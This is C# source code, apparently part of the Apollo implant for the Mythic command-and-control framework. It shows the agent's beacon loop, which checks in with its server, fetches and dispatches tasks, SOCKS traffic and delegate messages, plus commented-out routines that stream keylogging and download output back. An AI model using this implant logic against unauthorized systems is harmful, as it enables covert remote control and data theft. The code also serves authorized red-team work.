/// <summary> /// Main initializaiton task loop that will begin /// the task loop of the function should the agent /// successfully register to the Apfell server specified /// by the C2 Profile. On each checkin, should a job be /// issued, it will be added to its own job queue and begin /// start the task in a separate thread. /// </summary> public void Start() { Thread activeMonitorThread = new Thread(MonitorIsActive); activeMonitorThread.Start(); while (true) { if (InitializeAgent()) { Thread relayThread = new Thread(MonitorRelays); relayThread.Start(); while (IsActive) { DebugWriteLine("------ NEW LOOP ------"); Stopwatch sw = new Stopwatch(); sw.Start(); // Need to parse delegates and tasks from checktasking (which should be renamed) new Thread(() => SendTaskOutput()).Start(); Mythic.Structs.TaskQueue tasks = CheckTasking(); Stopwatch sw2 = new Stopwatch(); sw2.Start(); new Thread(() => DispatchTaskQueue(tasks)).Start(); sw2.Stop(); DebugWriteLine($"Took {FormatTimespan(sw2.Elapsed)} to start DispatchTaskQueue thread."); //DebugWriteLine("~~~~~~~~~~~~~~~ Started main task dispatch!"); Thread.Sleep(GetSleepTime()); sw.Stop(); TimeSpan ts = sw.Elapsed; string elapsedTime = String.Format("{0:00}.{1:00}s", ts.Seconds, ts.Milliseconds / 10); DebugWriteLine($"Main loop took {elapsedTime} to complete."); } } } }
public void DispatchTaskQueue(Mythic.Structs.TaskQueue tasks) { if (tasks.SocksDatagrams != null && tasks.SocksDatagrams.Length > 0) { DispatchSocksDatagrams(tasks.SocksDatagrams); } if (tasks.Tasks.Length != 0) { DebugWriteLine($"Received {tasks.Tasks.Length} new tasks to execute."); DispatchTasks(tasks.Tasks); } if (tasks.Delegates.Length != 0) { DebugWriteLine($"Received {tasks.Delegates.Length} new delegate messages to pass."); DispatchDelegates(tasks.Delegates); } }
/// <summary> /// Try and send a response to the Apfell server based /// on the MAX_RETRY count. /// </summary> /// <param name="job">Job to send response data about.</param> /// <returns>TRUE if successful, FALSE otherwise.</returns> //public bool TryPostResponse(Job job) //{ // int retryCount = 0; // string result; // object msg; // if (job.Task.message.GetType() == typeof(ApolloTaskResponse)) // msg = (ApolloTaskResponse)job.Task.message; // else // msg = new ApolloTaskResponse(job.Task.id, (job.Task.status == "complete"), job.Task.message); // result = Profile.SendResponse(job.Task.id, msg); // while ((!result.Contains("success") || result == "") && retryCount < MAX_RETRIES) // { // result = Profile.SendResponse(job.Task.id, new ApolloTaskResponse(job.Task.id, (job.Task.status == "success"), job.Task.message)); // retryCount++; // } // return result.Contains("success"); //} /// <summary> /// Try and send a response to the Apfell server based /// on the MAX_RETRY count. /// </summary> /// <param name="job">Job to send response data about.</param> /// <returns>TRUE if successful, FALSE otherwise.</returns> //public string TryPostResponse(string task_id, object dataToSend) //{ // int retryCount = 0; // string result = ""; // try // { // while (!result.Contains("success") && retryCount < MAX_RETRIES) // { // result = Profile.SendResponse(task_id, dataToSend); // retryCount++; // } // } catch { } // return result; //} /// <summary> /// Try and send a response to the Apfell server based /// on the MAX_RETRY count. /// </summary> /// <param name="job">Job to send response data about.</param> /// <returns>TRUE if successful, FALSE otherwise.</returns> //public bool TrySendChunk(string task_id, Mythic.Structs.FileChunk dataToSend) //{ // int retryCount = 0; // string result = ""; // try // { // while (!result.Contains("success") && retryCount < MAX_RETRIES) // { // result = Profile.SendResponse(task_id, dataToSend); // retryCount++; // } // } // catch { } // return result.Contains("success"); //} /// <summary> /// Attempt to post a response to the Apfell server /// given a SCTaskResponse item. This function is /// primarily used when attempting to stream output /// to the Apfell server, such as is the case in /// keylogging or large file downloads. /// </summary> /// <param name="response">SCTaskResp instance</param> /// <returns>String version of the Apfell server response.</returns> //public string TryGetPostResponse(string task_id, ApolloTaskResponse response) //{ // int retryCount = 0; // string result = ""; // result = Profile.SendResponse(task_id, response); // while (!result.Contains("success") && retryCount < MAX_RETRIES) // { // result = Profile.SendResponse(task_id, response); // retryCount++; // } // return result; //} /// <summary> /// Attempt to post the response to the Apfell server. /// Primarily this function is used by tasks who require /// streaming output to the server. /// </summary> /// <param name="response">SCTaskResp instance to send up to the mothership.</param> /// <returns>TRUE if successful, FALSE otherwise.</returns> //public bool TryPostResponse(string task_id, ApolloTaskResponse response) //{ // int retryCount = 0; // string result; // result = Profile.SendResponse(task_id, response); // //while (!result.Contains("success") && retryCount < MAX_RETRIES) // //{ // // result = Profile.SendResponse(task_id, response); // // retryCount++; // //} // return result.Contains("success"); //} //public bool TryPostResponses(string task_id, object[] responses) //{ // int retryCount = 0; // string result; // result = Profile.SendResponses(task_id, responses); // while (!result.Contains("success") && retryCount < MAX_RETRIES) // { // result = Profile.SendResponses(task_id, responses); // retryCount++; // } // return result.Contains("success"); //} ///// <summary> ///// Attempt to send a complete message based on the ///// job associated with it. ///// </summary> ///// <param name="job">Job of the executing task.</param> ///// <returns>TRUE if successful, FALSE otherwise.</returns> //public bool TrySendComplete(Job job) //{ // int retryCount = 0; // string result = Profile.SendComplete(job.Task.id); // while (!result.Contains("success") && retryCount < MAX_RETRIES) // { // result = Profile.SendComplete(job.Task.id); // retryCount++; // } // return result.Contains("success"); //} ///// <summary> ///// Attempt to send a complete message based on the ///// task id associated with it. ///// </summary> ///// <param name="taskID">SCTask.TaskID of the task.</param> ///// <returns>TRUE if successful, FALSE otherwise.</returns> //public bool TrySendComplete(string taskID) //{ // int retryCount = 0; // string result = Profile.SendComplete(taskID); // while (!result.Contains("success") && retryCount < MAX_RETRIES) // { // result = Profile.SendComplete(taskID); // retryCount++; // } // return result.Contains("success"); //} ///// <summary> ///// Send an error to the Apfell controller ///// given a Job that has failed its one and ///// only purpose. ///// </summary> ///// <param name="job">A Job class who has disappointed its parents.</param> ///// <returns>TRUE if contact with Apfell was successful, FALSE otherwise.</returns> //public bool TrySendError(Job job) //{ // int retryCount = 0; // string result; // result = Profile.SendError(job.Task.id, job.Task.message); // while (!result.Contains("success") && retryCount < MAX_RETRIES) // { // result = Profile.SendComplete(job.Task.id); // retryCount++; // } // return result.Contains("success"); //} ///// <summary> ///// Send the message of the job over to the ///// Apfell server and see how it goes. Maybe ///// it works out, but maybe it doesn't. Who ///// knows? That's life. That's why the return ///// value is void. ///// </summary> ///// <param name="job">Job whose task completion status will be relayed.</param> //public void SendResult(Job job) //{ // int retryCount = 0; // string result; // if (job.Task.status == "complete") // && // //job.Task.command != "download" && // //job.Task.command != "screencapture") // { // TryPostResponse(job); // //if (TryPostResponse(job)) // //{ // // TrySendComplete(job); // //} // } // else if (job.Task.status == "error") // { // //if (TrySendError(job)) // //{ // // TrySendComplete(job); // //} // TrySendError(job); // } // Jobs.JobManager.RemoveJob(job); //} /// <summary> /// Check the Apfell server to see if there's any /// taskings associated with our agent. /// </summary> /// <returns> /// SCTask instance with the action to perform, /// if successful. The function returns null if the /// application times out. /// </returns> public Mythic.Structs.TaskQueue CheckTasking() { int retryCount = 0; Mythic.Structs.TaskQueue tasks = new Mythic.Structs.TaskQueue(); // DelegateMessages[] delegateMessages = null; Stopwatch sw = new Stopwatch(); sw.Start(); while (retryCount < MAX_RETRIES) { try { // Check Tasking should be renamed // return tuple of tasks and delegates // tasks = results[0] // delegates = results[1] // return (tasks, delegates) //DebugWriteLine("~~~~~~~~~~~~~~~ Attempting to fetch new tasks..."); tasks = Profile.GetMessages(this); //DebugWriteLine("~~~~~~~~~~~~~~~ Successfully fetched new tasks!"); break; } catch (Exception ex) { //DebugWriteLine($"~~~~~~~~~~~~~~~ Failed to fetch new tasks. Reason: {ex.Message}. Sleeping {SleepInterval} seconds."); retryCount++; Thread.Sleep(SleepInterval); } } sw.Stop(); TimeSpan ts = sw.Elapsed; string elapsed = string.Format("{0:00}.{1:00}s", ts.Seconds, ts.Milliseconds / 10); DebugWriteLine($"Check tasking took {elapsed} to run."); return(tasks); }